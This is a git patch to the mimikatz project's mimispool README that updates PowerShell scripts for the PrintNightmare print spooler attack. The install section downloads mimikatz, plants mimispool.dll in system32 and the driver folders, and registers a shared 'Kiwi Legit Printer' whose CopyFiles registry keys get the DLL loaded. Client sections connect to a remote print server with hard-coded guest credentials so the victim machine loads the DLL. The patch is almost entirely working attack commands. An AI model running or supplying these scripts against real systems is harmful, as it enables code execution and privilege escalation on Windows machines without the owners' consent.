From b5efa87e430a48726feaf7f27e318728a4db96c0 Mon Sep 17 00:00:00 2001 From: Benjamin DELPY Date: Fri, 30 Jul 2021 23:18:04 +0200 Subject: [PATCH] [update] mimispool PowerShell commands to use only one printer, from Microsoft --- mimispool/README.md | 154 +++++++++++++--------------- mimispool/mimispool.vcxproj | 1 + mimispool/mimispool.vcxproj.filters | 1 + 3 files changed, 71 insertions(+), 85 deletions(-) diff --git a/mimispool/README.md b/mimispool/README.md index afe5385..d253080 100644 --- a/mimispool/README.md +++ b/mimispool/README.md @@ -4,65 +4,50 @@ #### install ``` -$printerName = 'Kiwi Legit Printer' -$system32 = $env:systemroot + '\system32' -$drivers = $system32 + '\spool\drivers' -$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\' + $printerName - -Invoke-WebRequest -Uri 'https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz_trunk.zip' -OutFile '.\mimikatz_trunk.zip' -Expand-Archive -Path '.\mimikatz_trunk.zip' -DestinationPath '.\mimikatz_trunk' - -Copy-Item -Force -Path ($system32 + '\mscms.dll') -Destination ($system32 + '\mimispool.dll') -Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll' -Destination ($drivers + '\x64\3\mimispool.dll') -Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers + '\W32X86\3\mimispool.dll') - -Invoke-WebRequest -Uri 'https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210729/KyoClassicUniversalKPDL_v3.3_minimal.zip' -OutFile '.\KyoClassicUniversalKPDL_v3.3_minimal.zip' -Expand-Archive -Path '.\KyoClassicUniversalKPDL_v3.3_minimal.zip' -DestinationPath '.\KyoClassicUniversalKPDL_v3.3_minimal' - -pnputil /add-driver '.\KyoClassicUniversalKPDL_v3.3_minimal\OEMSETUP.inf' /install - -Add-PrinterDriver -Name 'Kyocera Classic Universaldriver KPDL' -PrinterEnvironment 'Windows x64' -# Add-PrinterDriver -Name 'Kyocera Classic Universaldriver KPDL' -PrinterEnvironment 'Windows NT x86' -# little bug bypass here :( -rundll32 printui,PrintUIEntry /ia /m 'Kyocera Classic Universaldriver KPDL' /h x86 /f '.\KyoClassicUniversalKPDL_v3.3_minimal\OEMSETUP.inf' - -Add-Printer -DriverName 'Kyocera Classic Universaldriver KPDL' -Name ($printerName + ' - x64') -PortName 'FILE:' -Shared -Add-Printer -DriverName 'Kyocera Classic Universaldriver KPDL' -Name ($printerName + ' - x86') -PortName 'FILE:' -Shared - -New-Item -Path ($RegStartPrinter + ' - x64\CopyFiles') | Out-Null -New-Item -Path ($RegStartPrinter + ' - x64\CopyFiles\Kiwi') | Out-Null -New-ItemProperty -Path ($RegStartPrinter + ' - x64\CopyFiles\Kiwi') -Name 'Directory' -PropertyType 'String' -Value 'x64\3' | Out-Null -New-ItemProperty -Path ($RegStartPrinter + ' - x64\CopyFiles\Kiwi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null -New-ItemProperty -Path ($RegStartPrinter + ' - x64\CopyFiles\Kiwi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null -New-Item -Path ($RegStartPrinter + ' - x64\CopyFiles\Litchi') | Out-Null -New-ItemProperty -Path ($RegStartPrinter + ' - x64\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String' -Value $null | Out-Null -New-ItemProperty -Path ($RegStartPrinter + ' - x64\CopyFiles\Litchi') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-Null -New-ItemProperty -Path ($RegStartPrinter + ' - x64\CopyFiles\Litchi') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-Null - -New-Item -Path ($RegStartPrinter + ' - x86\CopyFiles') | Out-Null -New-Item -Path ($RegStartPrinter + ' - x86\CopyFiles\Kiwi') | Out-Null -New-ItemProperty -Path ($RegStartPrinter + ' - x86\CopyFiles\Kiwi') -Name 'Directory' -PropertyType 'String' -Value 'W32X86\3' | Out-Null -New-ItemProperty -Path ($RegStartPrinter + ' - x86\CopyFiles\Kiwi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null -New-ItemProperty -Path ($RegStartPrinter + ' - x86\CopyFiles\Kiwi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null -New-Item -Path ($RegStartPrinter + ' - x86\CopyFiles\Litchi') | Out-Null -New-ItemProperty -Path ($RegStartPrinter + ' - x86\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String' -Value $null | Out-Null -New-ItemProperty -Path ($RegStartPrinter + ' - x86\CopyFiles\Litchi') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-Null -New-ItemProperty -Path ($RegStartPrinter + ' - x86\CopyFiles\Litchi') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-Null - +$printerName = 'Kiwi Legit Printer' +$system32 = $env:systemroot + '\system32' +$drivers = $system32 + '\spool\drivers' +$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\' + $printerName + +Invoke-WebRequest -Uri 'https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz_trunk.zip' -OutFile '.\mimikatz_trunk.zip' +Expand-Archive -Path '.\mimikatz_trunk.zip' -DestinationPath '.\mimikatz_trunk' + +Copy-Item -Force -Path ($system32 + '\mscms.dll') -Destination ($system32 + '\mimispool.dll') +Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll' -Destination ($drivers + '\x64\3\mimispool.dll') +Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers + '\W32X86\3\mimispool.dll') + +Add-PrinterDriver -Name 'Generic / Text Only' +Add-Printer -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared + +New-Item -Path ($RegStartPrinter + '\CopyFiles') | Out-Null + +New-Item -Path ($RegStartPrinter + '\CopyFiles\Kiwi') | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Directory' -PropertyType 'String' -Value 'x64\3' | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null + +New-Item -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String' -Value 'W32X86\3' | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null + +New-Item -Path ($RegStartPrinter + '\CopyFiles\Mango') | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Directory' -PropertyType 'String' -Value $null | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-Null + ``` #### uninstall ``` -$printerName = 'Kiwi Legit Printer' -$system32 = $env:systemroot + '\system32' -$drivers = $system32 + '\spool\drivers' - -Remove-Printer -Name ($printerName + ' - x86') -Remove-Printer -Name ($printerName + ' - x64') -Start-Sleep -Seconds 2 -Remove-PrinterDriver -Name 'Kyocera Classic Universaldriver KPDL' -PrinterEnvironment 'Windows NT x86' # -RemoveFromDriverStore -Remove-PrinterDriver -Name 'Kyocera Classic Universaldriver KPDL' -PrinterEnvironment 'Windows x64' -RemoveFromDriverStore - +$printerName = 'Kiwi Legit Printer' +$system32 = $env:systemroot + '\system32' +$drivers = $system32 + '\spool\drivers' + +Remove-Printer -Name $printerName +Start-Sleep -Seconds 2 +Remove-PrinterDriver -Name 'Generic / Text Only' + Remove-Item -Force -Path ($drivers + '\x64\3\mimispool.dll') Remove-Item -Force -Path ($drivers + '\W32X86\3\mimispool.dll') Remove-Item -Force -Path ($system32 + '\mimispool.dll') @@ -73,42 +58,41 @@ Remove-Item -Force -Path ($system32 + '\mimispool.dll') #### Any computer with explicit credential to `printnightmare.gentilkiwi.com` ``` -$serverName = 'printnightmare.gentilkiwi.com' -$username = 'gentilguest' -$password = 'password' -$printerName = 'Kiwi Legit Printer' - -$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'}) -$credential = (New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString -AsPlainText -String $password -Force))) - -Remove-PSDrive -Force -Name 'KiwiLegitPrintServer' -ErrorAction SilentlyContinue -Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue - -New-PSDrive -Name 'KiwiLegitPrintServer' -Root ('\\' + $serverName + '\print$') -PSProvider FileSystem -Credential $credential | Out-Null -Add-Printer -ConnectionName $fullprinterName - -$driver = (Get-Printer -Name $fullprinterName).DriverName -Remove-Printer -Name $fullprinterName -Remove-PrinterDriver -Name $driver # not removed from DriverStore (not admin) +$serverName = 'printnightmare.gentilkiwi.com' +$username = 'gentilguest' +$password = 'password' +$printerName = 'Kiwi Legit Printer' + +$fullprinterName = '\\' + $serverName + '\' + $printerName +$credential = (New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString -AsPlainText -String $password -Force))) + +Remove-PSDrive -Force -Name 'KiwiLegitPrintServer' -ErrorAction SilentlyContinue +Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue + +New-PSDrive -Name 'KiwiLegitPrintServer' -Root ('\\' + $serverName + '\print$') -PSProvider FileSystem -Credential $credential | Out-Null +Add-Printer -ConnectionName $fullprinterName + +$driver = (Get-Printer -Name $fullprinterName).DriverName +Remove-Printer -Name $fullprinterName +Remove-PrinterDriver -Name $driver Remove-PSDrive -Force -Name 'KiwiLegitPrintServer' # mimispool still in spool\drivers ``` - #### Computer in domain (single sign on with current user to print server) ``` -$serverName = 'print.lab.local' -$printerName = 'Kiwi Legit Printer' - -$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'}) - -Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue -Add-Printer -ConnectionName $fullprinterName - -$driver = (Get-Printer -Name $fullprinterName).DriverName -Remove-Printer -Name $fullprinterName -Remove-PrinterDriver -Name $driver # not removed from DriverStore (not admin) +$serverName = 'print.lab.local' +$printerName = 'Kiwi Legit Printer' + +$fullprinterName = '\\' + $serverName + '\' + $printerName + +Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue +Add-Printer -ConnectionName $fullprinterName + +$driver = (Get-Printer -Name $fullprinterName).DriverName +Remove-Printer -Name $fullprinterName +Remove-PrinterDriver -Name $driver # mimispool still in spool\drivers -``` +``` \ No newline at end of file diff --git a/mimispool/mimispool.vcxproj b/mimispool/mimispool.vcxproj index f12be71..87986bb 100644 --- a/mimispool/mimispool.vcxproj +++ b/mimispool/mimispool.vcxproj @@ -100,5 +100,6 @@ + \ No newline at end of file diff --git a/mimispool/mimispool.vcxproj.filters b/mimispool/mimispool.vcxproj.filters index 3d85625..2569695 100644 --- a/mimispool/mimispool.vcxproj.filters +++ b/mimispool/mimispool.vcxproj.filters @@ -11,5 +11,6 @@ + \ No newline at end of file